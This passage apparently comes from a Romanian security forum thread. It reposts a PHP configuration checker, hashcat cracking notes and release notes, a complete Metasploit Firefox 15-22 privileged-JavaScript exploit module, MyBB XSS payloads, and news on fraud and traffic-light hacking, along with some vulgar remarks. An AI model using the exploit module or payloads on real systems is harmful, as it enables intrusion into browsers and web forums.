list($result, $reason) = array(TEST_MAYBE, "Suhosin is in simulation mode."); } break; case 'suhosin.log.syslog': if ($v === NULL || $v == "0") { list($result, $reason) = array(TEST_COMMENT, "Suhosin doesn't log to syslog."); } break; case 'suhosin.log.phpscript': if ($v !== NULL || $v != "0") { list($result, $reason) = array(TEST_COMMENT, "PHP-script for logging."); } break; case 'suhosin.executor.max_depth': if (intval($v) == 0) { list($result, $reason) = array(TEST_LOW, "stack depth not limited."); } break; case 'suhosin.executor.include.max_traversal': if (intval($v) == 0) { list($result, $reason) = array(TEST_LOW, "path traversal (include) not limited."); } break; case 'suhosin.cookie.cryptkey': case 'suhosin.session.cryptkey': $tmp = explode('.', $k); if (ini_get('suhosin.'. $tmp[1] . '.encrypt')) { if ($v === "") { list($result, $reason) = array(TEST_HIGH, "encryption used, but key not set."); $recommendation = $helptext['suhosin.*.cryptkey']; } elseif (strlen($v) < 16) { list($result, $reason) = array(TEST_MEDIUM, "key is very short."); $recommendation = $helptext['suhosin.*.cryptkey']; } } break; case 'suhosin.cookie.encrypt': if ($v == "1") { list($result, $reason) = array(TEST_COMMENT, "cookie encryption on."); $recommendation = $helptext['suhosin.cookie.encrypt=on']; } else { list($result, $reason) = array(TEST_MEDIUM, "cookie encryption off."); $recommendation = $helptext['suhosin.cookie.encrypt=off']; } break; case 'suhosin.cookie.disallow_nul': case 'suhosin.get.disallow_nul': case 'suhosin.post.disallow_nul': case 'suhosin.request.disallow_nul': list($result, $reason) = array(TEST_HIGH, "nul-protection off."); $recommendation = $helptext['suhosin.*.disallow_nul']; break; case 'suhosin.get.disallow_ws': case 'suhosin.post.disallow_ws': case 'suhosin.cookie.disallow_ws': if ($v != "1" && ini_get('suhosin.request.disallow_ws') != "1") { list($result, $reason) = array(TEST_LOW, "default value."); $recommendation = $helptext['suhosin.*.disallow_ws']; } break; case 'suhosin.request.max_value_length': if (intval($v) == 0 && (intval(ini_get('suhosin.get.max_value_length')) == 0 || intval(ini_get('suhosin.post.max_value_length')) == 0 || intval(ini_get('suhosin.cookie.max_value_length')) == 0)) { list($result, $reason) = array(TEST_MEDIUM, "value length not limited."); $recommendation = $helptext['suhosin.*.max_value_length=off']; } elseif (intval($v) == 1000000) { // default value list($result, $reason) = array(TEST_COMMENT, "default value."); $recommendation = $helptext['suhosin.*.max_value_length=default']; } break; case 'suhosin.get.max_value_length': case 'suhosin.post.max_value_length': case 'suhosin.cookie.max_value_length': if (intval($v) == 0 && intval(ini_get('suhosin.request.max_value_length')) == 0) { list($result, $reason) = array(TEST_MEDIUM, "value length not limited."); $recommendation = $helptext['suhosin.*.max_value_length=off']; } elseif ($k === 'suhosin.get.max_value_length' && intval($v) == 512 || $k == 'suhosin.post.max_value_length' && intval($v) == 1000000 || $k == 'suhosin.cookie.max_value_length' && intval($v) == 10000) { // default value list($result, $reason) = array(TEST_COMMENT, "default value."); $recommendation = $helptext['suhosin.*.max_value_length=default']; } break; case 'suhosin.request.max_varname_length': if (intval($v) == 0 && (intval(ini_get('suhosin.get.max_name_length')) == 0 || intval(ini_get('suhosin.post.max_name_length')) == 0 || intval(ini_get('suhosin.cookie.max_name_length')) == 0)) { list($result, $reason) = array(TEST_MEDIUM, "varname length not limited."); $recommendation = $helptext['suhosin.*.max_name_length=off']; } break; case 'suhosin.get.max_name_length': case 'suhosin.post.max_name_length': case 'suhosin.cookie.max_name_length': if (intval($v) == 0 && intval(ini_get('suhosin.request.max_varname_length')) == 0) { list($result, $reason) = array(TEST_MEDIUM, "varname length not limited."); $recommendation = $helptext['suhosin.*.max_name_length=off']; } break; case 'suhosin.log.script.name': case 'suhosin.log.phpscript.name': if ($v !== "") { if (is_writable($v)) { list($result, $reason) = array(TEST_HIGH, "logging script is writable."); $recommendation = $helptext['suhosin.log.script.name']; } elseif (is_writable_or_chmodable($v)) { list($result, $reason) = array(TEST_MEDIUM, "logging script is potentially writable."); $recommendation = $helptext['suhosin.log.script.name/chmod']; } } break; /* ===== known, but probably not security relevant ===== */ case 'asp_tags': case 'precision': case 'assert.bail': case 'assert.callback': case 'assert.quiet_eval': case 'assert.warning': case 'auto_detect_line_endings': case 'bcmath.scale': case 'browscap': case 'date.default_latitude': case 'date.default_longitude': case 'date.sunrise_zenith': case 'date.sunset_zenith': case 'date.timezone': case 'dba.default_handler': case 'suhosin.apc_bug_workaround': case 'suhosin.cookie.checkraddr': case 'suhosin.cookie.cryptdocroot': case 'suhosin.cookie.cryptlist': case 'suhosin.cookie.cryptraddr': case 'suhosin.cookie.cryptua': case 'suhosin.log.syslog.facility': case 'suhosin.log.syslog.priority': case 'suhosin.log.sapi': case 'suhosin.log.script': case 'suhosin.log.use-x-forwarded-for': case 'suhosin.request.disallow_ws': list($result, $reason) = array(TEST_OK, "any value is ok"); break; /* ===== unknown / ignored ===== */ default: list($result, $reason) = array(TEST_UNKNOWN, "unknown / not checked."); // echo "unknown ini: $k = $v\n"; } if ($result === NULL) { tres($meta, TEST_OK); } else { tres($meta, $result, $reason, $recommendation); } } // --- other checks --- // old version of this script? if (version_compare(PHP_VERSION, '5.1.0') >= 0) { date_default_timezone_set("UTC"); // avoid incorrect timezone warnings in strtotime() } if (stripos($pcc_version, "-dev") !== FALSE || stripos($pcc_version, "-rc") !== FALSE) { if (time() > strtotime($pcc_date) + (24*3600*60)) { $cfg['need_update'] = 1; } } elseif (time() > strtotime($pcc_date) + (24*3600*180)) { $cfg['need_update'] = 1; } // old php version? $meta = tdesc("PHP Version", "Checks whether your PHP version is < 5.4"); if (version_compare(PHP_VERSION, '5.4.0') >= 0) { tres($meta, TEST_OK, "PHP version = " . PHP_MAJOR_VERSION . "." . PHP_MINOR_VERSION); } else { tres($meta, TEST_HIGH, "PHP version is older than 5.4", "Please upgrade PHP as soon as possible. " . "Old versions of PHP are not maintained anymore and may contain security flaws."); } // suhosin installed? $meta = tdesc("Suhosin", "Checks whether the Suhosin-Extension is loaded"); if (extension_loaded("suhosin")) { tres($meta, TEST_OK); } else { tres($meta, TEST_MAYBE, "Suhosin extension is not loaded", "Suhosin is an advanced protection system for PHP. It is designed to protect servers and users from known and unknown flaws in PHP applications and the PHP core. For more information see http://suhosin.org/"); } // error_log outside document root? $meta = tdesc("Error log in document root", "Checks if error_log path is in the current document root"); if ($cfg['is_cli']) { tres($meta, TEST_SKIPPED, "CLI"); } elseif (ini_get('error_log') === "") { tres($meta, TEST_SKIPPED, "error_log not set."); } elseif (ini_get('error_log') === "syslog") { tres($meta, TEST_SKIPPED, "error_log to syslog."); } elseif (!isset($_SERVER['DOCUMENT_ROOT'])) { tres($meta, TEST_SKIPPED, "DOCUMENT_ROOT not set."); } else { $error_log_realpath = realpath(ini_get('error_log')); $document_root_realpath = realpath($_SERVER['DOCUMENT_ROOT']); if ($error_log_realpath === FALSE) { tres($meta, TEST_SKIPPED, "error_log invalid or relative path."); } elseif ($document_root_realpath === FALSE) { tres($meta, TEST_SKIPPED, "DOCUMENT_ROOT invalid or relative path."); } elseif (strpos($error_log_realpath, $document_root_realpath) === 0) { tres($meta, TEST_HIGH, "error_log in DOCUMENT_ROOT.", "The error logfile is located inside the document root directory and may be accessible publicly. The error_log should point to a file outside the document root."); } else { tres($meta, TEST_OK, "error_log outside of DOCUMENT_ROOT."); } } // writable document root? $meta = tdesc("Writable document root", "Checks if the current document root is writable"); if (!isset($_SERVER['DOCUMENT_ROOT'])) { tres($meta, TEST_SKIPPED, "DOCUMENT_ROOT not set."); } elseif (is_writable($_SERVER['DOCUMENT_ROOT'])) { tres($meta, TEST_HIGH, "document root is writable.", "Making the document root writable may give an attacker the advantage of persisting an exploit. It is probably best to restrict write access to the document root and its subdirectories. Temporary files your application may need to write can be safely stored outside the document root."); } elseif (is_writable_or_chmodable($_SERVER['DOCUMENT_ROOT'])) { tres($meta, TEST_MEDIUM, "document root is potentially writable.", "The document root's access permissions prevent write access, but the current user has the right to change these permissions. Please change the directory's owner."); } else { tres($meta, TEST_OK, "document root not writable."); } /*****************************************************************************/ // output if ($cfg['output_type'] == "text") { echo $cfg['s1_logo_aa'] . "\n\n"; if ($cfg['need_update']) { echo " [*] This script is rather old. Please check for updates:\n $pcc_url\n\n"; } foreach ($all_result_codes as $sev) { if (!$cfg['showall'] && !in_array($sev, $cfg['result_codes_default'], true)) { continue; } if (!isset($trbs[$sev]) || !$trbs[$sev]) {continue;} foreach ($trbs[$sev] as $res) { echo sprintf("[%-8s] %s\n", $res['result'], $res['name']); echo " " . $res['reason'] . "\n " . $res['recommendation'] . "\n"; } } } elseif ($cfg['output_type'] == "html") { function e($str) { return htmlentities($str, ENT_QUOTES); } ?> <html> <head><title><?php echo $pcc_name; ?></title> <style> body { background-color: #fe9; color: #111; font-family: sans-serif; } body, tr, td, table, pre, div { font-size: 12px; } .<?php echo TEST_CRITICAL; ?> { background-color: #f0c; } .<?php echo TEST_HIGH; ?> { background-color: #f00; } .<?php echo TEST_MEDIUM; ?> { background-color: #fa0; } .<?php echo TEST_LOW; ?> { background-color: #ff0; } .<?php echo TEST_MAYBE; ?> { background-color: #1cc; } .<?php echo TEST_COMMENT; ?> { background-color: #fff; } .<?php echo TEST_OK; ?> { background-color: #0f0; } .<?php echo TEST_SKIPPED; ?> { background-color: #888; } .<?php echo TEST_UNKNOWN; ?> { background-color: #a50; } .c { text-align: center; } td { vertical-align: top; border: 1px solid black; padding: 3px; } a:link {color: #0000a9; text-decoration: none;} a:hover {text-decoration: underline;} table {border-collapse: collapse;} .t { width: 700px; margin-left: auto; margin-right: auto; text-align: left; margin-bottom: 10px; } .t1 { background-color: #fff; } img { float: right; border: 0px; } </style> </head> <body> <div class="c"> <table class="t t1"> <tr><td> <a href="https://sektioneins.de/"><img src="<?php echo $cfg['s1_logo']; ?>" width="120px"/></a> <?php echo $pcc_name;?><br/>Version <?php echo $pcc_version;?><br/><?php echo $pcc_copy; ?> </td></tr> </table> <?php if ($cfg['need_update']): ?> <table class="t"><tr><td class="critical"> [*] This script is rather old. Please check for updates: <a href="<?php echo $pcc_url; ?>"><?php echo $pcc_url; ?></a></td></tr></table> <?php endif ?> <table class="t"><tr> <?php foreach ($all_result_codes as $sev) { if (!$cfg['showall'] && !in_array($sev, $cfg['result_codes_default'], true)) { continue; } if (!isset($trbs[$sev])) {continue;} ?> <td class="<?php echo $sev; ?>"><?php echo $sev; ?>: <?php echo count($trbs[$sev]); ?></td> <?php } ?></tr></table> <table class="t"> <tr> <th>Risk</th> <th>Name / Description</th> <th>Reason</th> <th>Recommendation</th> </tr> <?php foreach ($all_result_codes as $sev) { if (!$cfg['showall'] && !in_array($sev, $cfg['result_codes_default'], true)) { continue; } if (!isset($trbs[$sev]) || !$trbs[$sev]) {continue;} foreach ($trbs[$sev] as $res): ?> <tr class="<?php echo $res['result']; ?>"> <td><?php echo $res['result']; ?></td> <td><?php echo e($res['name']); ?><?php if ($res['desc'] !== NULL) {echo "<br/>" . e($res['desc']);} ?></td> <td><?php echo e($res['reason']); ?></td> <td><?php echo e($res['recommendation']); ?></td> </tr> <?php endforeach; } ?> </table> </div> </body> </html> <?php } ?> Sursa: https://github.com/sektioneins/pcc
  6. Pe Nvidia GTX770 am crapat parola MD5 de 8 caractere a-z (litere mici) in 1-2 minute. O parola a-z, A-Z, 0-9 si caractere speciale cu lungimea de 8 caractere se sparge in 45 de zile. Nu e rau. Mai exact, la MD5 am 1700 MH/s (1700 de milioane de hash-uri pe secunda). Nota: Temperatura a crescut de la 52 de grade pe la 77 de grade dupa vreo 10 minute. Sugestie: Nu lasati pornit pe laptop. Pe PC, unde ventilatia e mai buna, e ok.
  7. Download here: https://hashcat.net/oclhashcat/ This release is again focused on performance increase of the kernels and bugfixes. However, the most code intensive change in this version was the new workload dispatcher as it's part of the the oclHashcat core. The old one wasn't that bad, but the new one is simply faster which adds up to the increased performance of the kernels. As always, make sure to unpack into a new folder. Never reuse an existing oclHashcat folder (because of the cached kernels). One important thing for AMD users: You will need to update to the latest beta version of catalyst before updating oclHashcat. We've decided to no longer wait for AMD to ship the latest "stable" catalyst driver simply because they aren't any more stable than beta drivers... There's also one change made to the binaries itself. We now are using our own toolchain (thanks to crosstool-ng) to create our own binaries with an older glibc. That was required to make the binaries compatible to linux distributions using an older glibc. That means you should be able to run cudaHashcat and oclHashcat now without glibc patching on Kali, some (older) Debian systems, CentOS 6.4, etc.. New algorithms Skype Peoplesoft md5($salt.md5($pass)) Mediawiki B type Kerberos 5 AS-REQ Pre-Auth etype 23 as fast algorithm (reimplementation) Android FDE scrypt Password Safe v2 Lotus Notes/Domino 8 Skype and Peoplesoft are just new parsers as you were already able to crack them with older oclHashcat versions by using the generic hashtypes and by formating the hashes in a way that oclHashcat can load them. By adding parsers we just make it more comfortable for the users to load the hashes as you can use them in their native output. The md5($salt.md5($pass)) generic algorithm was simply added as it was required for the Mediawiki B type hash-type. It's a simple scheme that does not require any special comment. The Kerberos 5 algorithm is a reimplementation as fast algorithm type. That is the case if an algorithm is fast enough to require an on-gpu candidate generator. The algorithm actually was fast enough and just by not selecting it as fast hash it lost some performance. By switching it to a fast type we got some speedup for free. Now it gets interessing. The Android FDE algorithm that was added is the one that is using PBKDF2-HMAC-SHA1 + CBC-ESSIV-AES with 2000 iterations. Only tricky part was the "detection" of a filesystem. Note that this algorithm isn't used anymore in newer android devices. The new one uses scrypt instead of PBKDF2. For details about how the algorithm is working see here: https://hashcat.net/forum/thread-2270.html That's why we've added scrypt to GPU. And what should I tell, it's PITA. The goal of scrypt to run slow on GPU has been fulfilled. Just one note about that. The intention (if I understood currectly) was to make the computuation slow because the memory access is slow. Well that's not what made it slow actually. It's simply the lack of the total memory available on the card. Note that, to run fast with GPGPU, you have to run many tasks in parallel. That means that you have to allocate a huge amount of memory for each parallel task and this is what kills the gpu, not the access time. Also note that this scrypt variant is the real scrypt, not the minimal version that is used for litecoin. The litecoin version uses extreme low settings for N, r and p such that it is not required to work on global memory for all operations. We're using a fully functional scrypt in which you can set N, r and p dynamically. For the benchmark, we're using the defaults of 16k, 8, 1. The Password Safe v2 was also very interessting. This algorithm actually runs slower than the current one used in Password Safe v3, which is also supported with hash-type 5200. On my AMD hd7970, the v2 version runs with 101 kH/s while the v3 version runs with 506.2 kH/s but I don't think it's too much of a problem. Both run slow enough and are salted. Last algorithm that was added is Lotus Notes/Domino 8 which was discovered by our own philsmd. Therefore, oclHashcat v1.30 is world's first Lotus Notes/Domino 8 (H-hashes) cracker! For details about how the algorithm is working see here: https://hashcat.net/forum/thread-3550.html More info: https://hashcat.net/forum/thread-3627.html
  8. 08/01/2014 08:14 PM 386,377 woot14-adrian.pdf 07/19/2014 03:47 PM 2,177,899 woot14-akhawe.pdf 07/22/2014 08:52 PM 207,942 woot14-bruno.pdf 07/10/2014 06:44 PM 1,062,161 woot14-bursztein.pdf 07/22/2014 09:43 AM 1,551,501 woot14-chalupar.pdf 07/21/2014 11:38 PM 429,102 woot14-deshotels.pdf 07/21/2014 06:36 PM 3,475,919 woot14-fiebig.pdf 07/23/2014 04:56 AM 2,804,299 woot14-ghena.pdf 07/25/2014 04:23 PM 2,093,963 woot14-grand.pdf 07/22/2014 05:23 AM 191,274 woot14-ho.pdf 07/25/2014 04:22 PM 430,803 woot14-kaplan.pdf 07/22/2014 08:53 PM 123,691 woot14-kuhrer.pdf 07/23/2014 10:52 PM 350,262 woot14-laing.pdf 07/23/2014 03:54 AM 273,914 woot14-malvoni.pdf 07/23/2014 02:41 AM 141,500 woot14-maskiewicz.pdf 07/22/2014 12:29 PM 735,065 woot14-ullrich.pdf 07/22/2014 06:50 AM 314,998 woot14-vantonder.pdf Download: https://www.usenix.org/system/files/tech-schedule/woot14_papers_archive.zip
  9. ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/exploitation/jsobfu' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation autopwn_info({ :ua_name => HttpClients::FF, :ua_minver => "15.0", :ua_maxver => "22.0", :javascript => true, :rank => ExcellentRanking }) def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox toString console.time Privileged Javascript Injection', 'Description' => %q{ This exploit gains remote code execution on Firefox 15-22 by abusing two separate Javascript-related vulnerabilities to ultimately inject malicious Javascript code into a context running with chrome:// privileges. }, 'License' => MSF_LICENSE, 'Author' => [ 'moz_bug_r_a4', # discovered CVE-2013-1710 'Cody Crews', # discovered CVE-2013-1670 'joev' # metasploit module ], 'DisclosureDate' => "May 14 2013", 'References' => [ ['CVE', '2013-1670'], # privileged access for content-level constructor ['CVE', '2013-1710'] # further chrome injection ], 'Targets' => [ [ 'Universal (Javascript XPCOM Shell)', { 'Platform' => 'firefox', 'Arch' => ARCH_FIREFOX } ], [ 'Native Payload', { 'Platform' => %w{ java linux osx solaris win }, 'Arch' => ARCH_ALL } ] ], 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::FF, :ua_ver => lambda { |ver| ver.to_i.between?(15, 22) } } )) register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ]) ], self.class) end def on_request_exploit(cli, request, target_info) send_response_html(cli, generate_html(target_info)) end def generate_html(target_info) key = Rex::Text.rand_text_alpha(5 + rand(12)) opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin js = Rex::Exploitation::JSObfu.new(%Q| var opts = #{JSON.unparse(opts)}; var key = opts['#{key}']; var y = {}, q = false; y.constructor.prototype.toString=function() { if (q) return; q = true; crypto.generateCRMFRequest("CN=Me", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", null, key, 1024, null, "rsa-ex"); return 5; }; console.time(y); |) js.obfuscate %Q| <!doctype html> <html> <body> <script> #{js} </script> #{datastore['CONTENT']} </body> </html> | end end Sursa: http://www.exploit-db.com/exploits/34363/
  10. # Title: MyBB 1.8 Beta 3 - Cross Site Scripting & SQL Injection # Google Dork: intext:"Powered By MyBB" # Date: 15.08.2014 # Author: DemoLisH # Vendor Homepage: http://www.mybb.com/ # Software Link: http://www.mybb.com/downloads # Version: 1.8 - Beta 3 # Contact: onur@b3yaz.org *************************************************** a) Cross Site Scripting in Installation Wizard ( Board Configuration ) Fill -Forum Name, Website Name, Website URL- with your code, for example - "><script>alert('DemoLisH')</script>localhost/install/index.php Now let's finish setup and go to the homepage. SQL Injection in Private Messages ( User CP ) Go to -> Inbox, for example:localhost/private.php Search at the following code Keywords:<foo> <h1> <script> alert (bar) () ; // ' " > < prompt \x41 %42 constructor onload c) SQL Injection in Showthread Go to -> Show Thread, for example:localhost/showthread.php?tid=1 Search at the following code Keywords:<foo> <h1> <script> alert (bar) () ; // ' " > < prompt \x41 %42 constructor onload d) SQL Injection in Search Go to -> Search, for example:localhost/search.php Search at the following code Keywords:<foo> <h1> <script> alert (bar) () ; // ' " > < prompt \x41 %42 constructor onload e) SQL Injection in Help Documents Go to -> Help Documents, for example:localhost/misc.php?action=help Search at the following code Keywords:<foo> <h1> <script> alert (bar) () ; // ' " > < prompt \x41 %42 constructor onload f) SQL Injection in Forum Display Go to -> Forum Display, for example:localhost/forumdisplay.php?fid=2 Search at the following code "Search this Forum":<foo> <h1> <script> alert (bar) () ; // ' " > < prompt \x41 %42 constructor onload *************************************************** [~#~] Thanks To:Mugair, X-X-X, PoseidonKairos, DexmoD, Micky and all TurkeySecurity Members. Sursa: http://www.exploit-db.com/exploits/34381/
  11. Re?ea specializat? în fraude informatice, desfiin?at? de poli?i?tii români cu ajutorul agen?ilor FBI din SUA 21 august 2014, 11:12 de Oana Craciun Poli?i?tii ?i procurorii D.I.I.C.O.T. din Ploie?ti, cu sprijinul Direc?iei Opera?iuni Speciale – I.G.P.R., în colaborare cu Biroul Federal de Investiga?ii din cadrul Ambasadei S.U.A. la Bucure?ti, au destructurat un grup infrac?ional specializat în fraude informatice, care ar fi prejudiciat mai mul?i cet??eni str?ini cu peste 100.000 de dolari americani, informeaz? Poliâia Român?. În urm? cu dou? zile, pe 19 august, poli?i?tii din Ploie?ti ?i cei din Bucure?ti au efectuat 8 perchezi?ii domiciliare, în Prahova ?i municipiul Bucure?ti, în vederea destructur?rii unui grup infrac?ional (format din 14 persoane), ai c?rui membri sunt b?nui?i de comiterea unor infrac?iuni de skimming, retrageri frauduloase de numerar, fals privind identitatea, falsuri ?i fraude informatice. În urma perchezi?iilor efectuate, au fost g?site ?i ridicate documente de transfer monetar, sisteme informatice, dispozitive de stocare a datelor informatice, un pistol cu gaz, 8 cartu?e, de?inute ilegal, un pistol cu bile de?inut în condi?ii neconforme cu normele de de?inere, card-uri emise de unit??i bancare din S.U.A., un pa?aport fals ?i bani. ”În cauz?, 13 persoane au fost conduse, cu mandat de aducere, la sediul unit??ii de parchet, în vederea continu?rii cercet?rilor”, se arat? în comunicatul Poli?iei Române. Din verific?ri, a rezultat c? membrii grupului infrac?ional, coordonat de un b?rbat de 38 ani, din municipiul Ploie?ti, ar fi postat pe site-uri de specialitate anun?uri fictive, privind vânzarea unor autoturisme ?i ar fi pretins, de la p?r?ile v?t?mate, o parte din pre?, cu titlu de avans. De asemenea, din cercet?ri a rezultat c? al?i membri ai grupului s-ar fi deplasat în S.U.A., pentru a-?i deschide conturi bancare folosind documente de identitate false, conturi în care p?r?ile v?t?mate au transferat bani, reprezentând „avansul” pentru autoturismele pe care doreau s? le achizi?ioneze. Din aceste conturi, sumele de bani erau retrase ?i transferate în ?ar?, prin intermediul unor companii de transfer monetar rapid, pe numele mai multor persoane recrutate în acest sens. Totodat?, s-a stabilit c? un alt membru al re?elei ar fi de?inut echipamente de skimming, pe care le-ar fi utilizat în anul 2012, pe teritoriul S.U.A., în vederea ob?inerii de date de identificare ale unor carduri bancare. Pân? în prezent, au fost identificate 14 p?r?i v?t?mate, cet??eni ai S.U.A., prejudiciul cauzat acestora fiind de peste 100.000 de dolari americani. ?apte persoane cu mandat de 24 de ore În urma audierilor, a fost dispus? re?inerea pentru 24 de ore a ?apte persoane. Ieri, 20 august, fa?? de ace?tia a fost dispus? m?sura controlului judiciar. În continuare, se efectueaz? cercet?ri pentru s?vâr?irea infrac?iunilor de constituire ?i aderare la un grup infrac?ional organizat, fraud? informatic?, fals informatic, de?inerea de instrumente în vederea falsific?rii de valori, fals privind identitatea ?i nerespectarea regimului armelor ?i muni?iilor. ”În cauz?, s-a cooperat cu reprezentan?ii Biroului Federal de Investiga?ii din cadrul Ambasadei Statelor Unite ale Americii la Bucure?ti. În cauz?, FBI a efectuat în SUA mai multe perchezi?ii, în urma c?rora a descoperit acte de identitate falsificate (pa?apoarte, permise de conducere auto pe numele unor persoane din Cehia, Slovenia ?i Fran?a) utilizate pentru deschiderea de conturi ?i transferuri bancare”, mai spun poli?i?tii. Activit??ile au beneficiat de sprijinul de specialitate al Direc?iei Opera?iuni Speciale – I.G.P.R. ?i al Serviciului Român de Informa?ii. La ac?iune au participat ?i jandarmi. Sursa: Re?ea specializat? în fraude informatice, desfiin?at? de poli?i?tii români cu ajutorul agen?ilor FBI din SUA | adevarul.ro
  12. Nytro

    Kaspersky Tor

    E doar o curiozitate de-a mea. Am gasit cateva noduri de Tor interesante (lista e publica): TorStatus - Tor Network Status (+ Atlas si Globe) - kasperskytor01 ( Tor Network Status -- Router Detail ) - kasperskytor02 ( Tor Network Status -- Router Detail ) Date de contact: [TABLE=width: 100%, align: center] [TR] [TD=class: TRAR][/TD] [TD=class: TRSB]Kaspersky TOR Abuse <torabuse AT kaspersky dot ro>[/TD] [/TR] [/TABLE] Ce mi se pare interesant e ca ambele au acest ExitPolicy: accept *:53 accept *:80 accept *:8080 accept *:3128 accept *:21 reject * Ce va spune asta? Va spune ca este exit node pentru acele porturi. Ce e ciudat? E ca toate acele porturi sunt PLAIN TEXT: DNS, HTTP, HTTP proxy, FTP. Oare care e ideea cu aceste noduri? Edit: Ca sa vezi, Kaspersky contribuie enorm la reteaua Tor: "Kaspersky Lab had uncovered evidence of 900 services using Tor, said researcher Sergey Lozhkin, through its 5,500 plus nodes (server relays) and 1,000 exit nodes (servers from which traffic emerges)." Via: http://news.techworld.com/security/3505255/tor-network-used-to-hide-900-botnets-and-darknet-markets-says-kaspersky-lab/ Ok, ceea ce vreau sa spun e urmatorul lucru: TOR fara HTTPS este ca femeia fara pizda.
  13. Researchers find it’s terrifyingly easy to hack traffic lights Open wireless and default passwords make controlling a city's intersections trivial. by Lee Hutchinson - Aug 20 2014, 9:39pm GTBST A typical intersection configuration. Taking over a city’s intersections and making all the lights green to cause chaos is a pretty bog-standard Evil Techno Bad Guy tactic on TV and in movies, but according to a research team at the University of Michigan, doing it in real life is within the realm of anyone with a laptop and the right kind of radio. In a paper published this month, the researchers describe how they very simply and very quickly seized control of an entire system of almost 100 intersections in an unnamed Michigan city from a single ingress point. Nodes in the traffic light network are connected in a tree-topology IP network, all on the same subnet. The exercise was conducted on actual stoplights deployed at live intersections, "with cooperation from a road agency located in Michigan." As is typical in large urban areas, the traffic lights in the subject city are networked in a tree-type topology, allowing them to pass information to and receive instruction from a central management point. The network is IP-based, with all the nodes (intersections and management computers) on a single subnet. In order to save on installation costs and increase flexibility, the traffic light system uses wireless radios rather than dedicated physical networking links for its communication infrastructure—and that’s the hole the research team exploited. Wireless security? What's that? The systems in question use a combination of 5.8GHz and 900MHz radios, depending on the conditions at each intersection (two intersections with a good line-of-sight to each other use 5.8GHz because of the higher data rate, for example, while two intersections separated by obstructions would use 900MHz). The 900MHz links use "a proprietary protocol with frequency hopping spread-spectrum (FHSS)," but the 5.8GHz version of the proprietary protocol isn’t terribly different from 802.11n. In fact, using unmodified laptops and smartphones, the team was able to see each intersection’s broadcast SSID, though they were unable to join the networks due to the protocol differences. The paper notes that researchers could have reverse-engineered the protocol to connect but instead chose to simply use the same type of custom radio for the project as the intersections use. Lest you think that’s cheating, the paper explains the decision like this: We chose to circumvent this issue and use the same model radio that was deployed in the studied network for our attack. While these radios are not usually sold to the public, previous work has shown social engineering to be effective in obtaining radio hardware [38].... Once the network is accessed at a single point, the attacker can send commands to any intersection on the network. This means an adversary need only attack the weakest link in the system. The 5.8GHz network has no password and uses no encryption; with a proper radio in hand, joining is trivial. Smash box After gaining access, the next step was to be able to communicate with the controllers that operate each intersection. This was made easy by the fact that in this system, the control boxes run VxWorks 5.5, a version which by default gets built from source with a debug port left accessible for testing. The research team quickly discovered that the debug port was open on the live controllers and could directly "read and write arbitrary memory locations, kill tasks, and even reboot the device." Debug access to the system also let the researchers look at how the controller communicates to its attached devices—the traffic lights and intersection cameras. They quickly discovered that the control system’s communication was totally non-obfuscated and easy to understand—and easy to subvert: By sniffing packets sent between the controllerand this program, we discovered that communication to the controller is not encrypted, requires no authentication, and is replayable. Using this information, we were then able to reverse engineer parts of the communication structure. Various command packets only differ in the last byte, allowing an attacker to easily determine remaining commands once one has been discovered. We created a program that allows a user to activate any button on the controller and then displays the results to the user. We also created a library of commands which enable scriptable attacks. We tested this code in the field and were able to access the controller remotely. Once total access to a controller and its commands was gained, that was it—at that point, the team had full control over every intersection in the entire network. They could change lights at will and even control each intersection’s cameras. The paper lays out several potential activities that an attacker could engage in, including connecting from a moving vehicle and making all lights along the attacker’s path green, or purposefully snarling traffic to aid in the attacker’s escape after a crime. More worrying is the ability of an attacker to engage in a type of denial-of-service attack on controlled intersections by triggering each intersection’s malfunction management unit, which would put the lights into a failure mode—like all directions blinking red—until physically reset. This would, according to the paper, let "an adversary… disable traffic lights faster than technicians can be sent to repair them." Mitigation The paper closes by pointing out a number of ways in which the gaping security holes could be easily closed. Chief among the recommendations is some kind of wireless security; the paper points out that the 5.8GHz systems support WPA2 encryption, and enabling it is trivial. The 900MHz systems are more secure by virtue of not using a frequency band easily accessible by consumer laptops and smartphones, but they also support the older WEP and WPA wireless encryption standards. But a layered defense is best, and as such the paper also recommends stricter controls over the traffic systems’ IP networks—firewalling devices and strictly controlling the type of network traffic allowed. Further, though many of the components in the network support some kind of username and password authentication scheme, the report ominously points out that "all of the devices in the deployment we studied used the default credentials that came built into the device." Doing some basic housekeeping and changing the credentials on the VxWorks intersection controllers and the wireless network components would go a long way toward frustrating attacks. Should we panic? It’s hard to not get a little antsy when confronted with research showing that vital pieces of public infrastructure are sitting essentially unsecured. The paper’s conclusion is clearly stated: "While traffic control systems may be built to fail into a safe state, we have shown that they are not safe from attacks by a determined adversary." There is plenty of blame to be cast, from the local agencies deploying infrastructure hardware in an unsafe state to the manufacturers helping them set things up. In fact, the most upsetting passage in the entire paper is the dismissive response issued by the traffic controller vendor when the research team presented its findings. According to the paper, the vendor responsible stated that it "has followed the accepted industry standard and it is that standard which does not include security." Sursa: Researchers find it’s terrifyingly easy to hack traffic lights | Ars Technica
  14. La munca cu voi, jegosilor! Topic inchis.
  15. Eh, se zice si ca ar avea anumite "probleme".
  16. Foarte probabil FAKE. Doua motive: 1. Sunt multe persoane care joaca 2048 2. Sunt extrem de multe persoane care cred ca pica bani din cer (muie voua)
